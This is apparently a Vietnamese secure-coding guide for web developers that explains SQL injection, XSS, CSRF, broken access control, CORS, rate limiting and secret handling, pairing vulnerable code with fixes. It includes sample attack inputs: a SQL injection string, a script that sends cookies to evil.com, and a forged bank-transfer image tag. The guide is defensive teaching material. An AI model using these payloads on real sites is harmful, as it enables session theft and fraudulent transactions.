Bảo mật không phải là tính năng — nó là trách nhiệm của mọi developer. Bạn không cần là chuyên gia security, nhưng cần biết những lỗ hổng phổ biến để không vô tình tạo ra chúng.
1. SQL Injection — Kẻ Thù Số 1#
-- Code dễ bị tấn công
"SELECT * FROM users WHERE email = '" + userInput + "'"
-- Attacker nhập: ' OR '1'='1
-- Thành: SELECT * FROM users WHERE email = '' OR '1'='1'
-- → Lấy toàn bộ user!sqlPhòng Tránh#
// ❌ Tệ — nối chuỗi
const query = `SELECT * FROM users WHERE id = ${id}`;
// ✅ Tốt — parameterized query
const query = 'SELECT * FROM users WHERE id = $1';
db.query(query, [id]);
// Dùng ORM
const user = await prisma.user.findUnique({ where: { id } });typescriptRule: Không bao giờ nối chuỗi SQL với input người dùng.
2. XSS (Cross-Site Scripting)#
Attacker chèn script độc hại vào trang web:
<!-- Input người dùng: --><script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
<!-- Render ra: -->
<div>
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
</div>htmlPhòng Tránh#
// ✅ Sanitize input — loại bỏ thẻ HTML nguy hiểm
import DOMPurify from 'dompurify';
const safe = DOMPurify.sanitize(userInput);
// ✅ CSP (Content Security Policy)
// Header: Content-Security-Policy: script-src 'self'
// Chỉ cho chạy script từ cùng domain
// ✅ React/Astro tự động escape HTML
// <div>{userInput}</div> → React escape, không chạy scripttypescriptRule: Không tin tưởng bất kỳ input nào từ người dùng.
3. CSRF (Cross-Site Request Forgery)#
User đang đăng nhập ở bank.com. Attacker dụ user click link độc:
<img src="https://bank.com/transfer?amount=1000&to=attacker" />htmlTrình duyệt tự động gửi cookie — server tưởng user chủ động chuyển tiền.
Phòng Tránh#
// ✅ CSRF Token — gửi kèm mỗi form
app.use(csurf({ cookie: true }));
// ✅ SameSite Cookie
Set-Cookie: session=abc; SameSite=Strict
// ✅ Kiểm tra Referer/Origin headertypescript4. Xác Thực & Phân Quyền#
Lỗi Thường Gặp#
// ❌ Tệ — dùng ID từ URL không kiểm tra quyền
app.get('/api/order/:id', (req, res) => {
const order = db.getOrder(req.params.id);
res.json(order);
});
// User A có thể xem order của User B bằng cách đổi ID
// ✅ Tốt — kiểm tra ownership
app.get('/api/order/:id', authenticate, (req, res) => {
const order = db.getOrder(req.params.id);
if (order.userId !== req.user.id) {
return res.status(403).json({ error: 'Forbidden' });
}
res.json(order);
});typescriptJWT Best Practices#
// Tạo token
const token = jwt.sign(
{ userId: user.id, role: user.role },
process.env.JWT_SECRET,
{ expiresIn: '15m' } // Token ngắn hạn
);
// Refresh token (lưu trong DB/httpOnly cookie)
const refreshToken = crypto.randomUUID();typescript5. CORS — Không Phải Cứ Allow All Là Xong#
// ❌ Tệ — cho phép tất cả
app.use(cors({ origin: '*' }));
// ✅ Tốt — whitelist cụ thể
app.use(cors({
origin: ['https://myapp.com', 'https://admin.myapp.com'],
credentials: true,
}));typescript6. Rate Limiting — Chống Brute Force#
import rateLimit from 'express-rate-limit';
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 phút
max: 100, // tối đa 100 request
message: 'Too many requests',
});
app.use('/api/auth', limiter);typescript7. Dependency — Mắt Xích Yếu Nhất#
# Kiểm tra lỗ hổng
npm audit
pnpm audit
bun audit
# GitHub Dependabot — tự động tạo PR update
# Snyk — quét CI/CD pipelinebashnpm ecosystem có hàng ngàn package — một package nhỏ bị compromise có thể ảnh hưởng toàn bộ hệ thống.
8. Environment Variables — Không Hardcode Secret#
# ❌ Tệ — commit secret vào git
DATABASE_PASSWORD = "supersecret123"
# ✅ Tốt — .env (thêm vào .gitignore!)
DATABASE_PASSWORD = ${DB_PASSWORD}bash// ❌ Tệ
const secret = 'sk-123456789';
// ✅ Tốt
const secret = process.env.API_KEY;
if (!secret) throw new Error('Missing API_KEY');typescriptChecklist Bảo Mật Tối Thiểu#
- Parameterized queries cho database
- Validate & sanitize mọi input
- HTTPS everywhere (HTTP Strict Transport Security)
- Cookie có
httpOnly,secure,sameSite - CORS whitelist cụ thể
- Rate limiting cho endpoint auth
- No hardcode secret
-
npm audittrong CI - Dependency update định kỳ
- Logging & monitoring
Kết Luận#
Bảo mật là một quá trình, không phải đích đến. Không ai viết code an toàn 100% ngay từ đầu — nhưng biết các lỗ hổng phổ biến giúp bạn tránh được 90% rủi ro.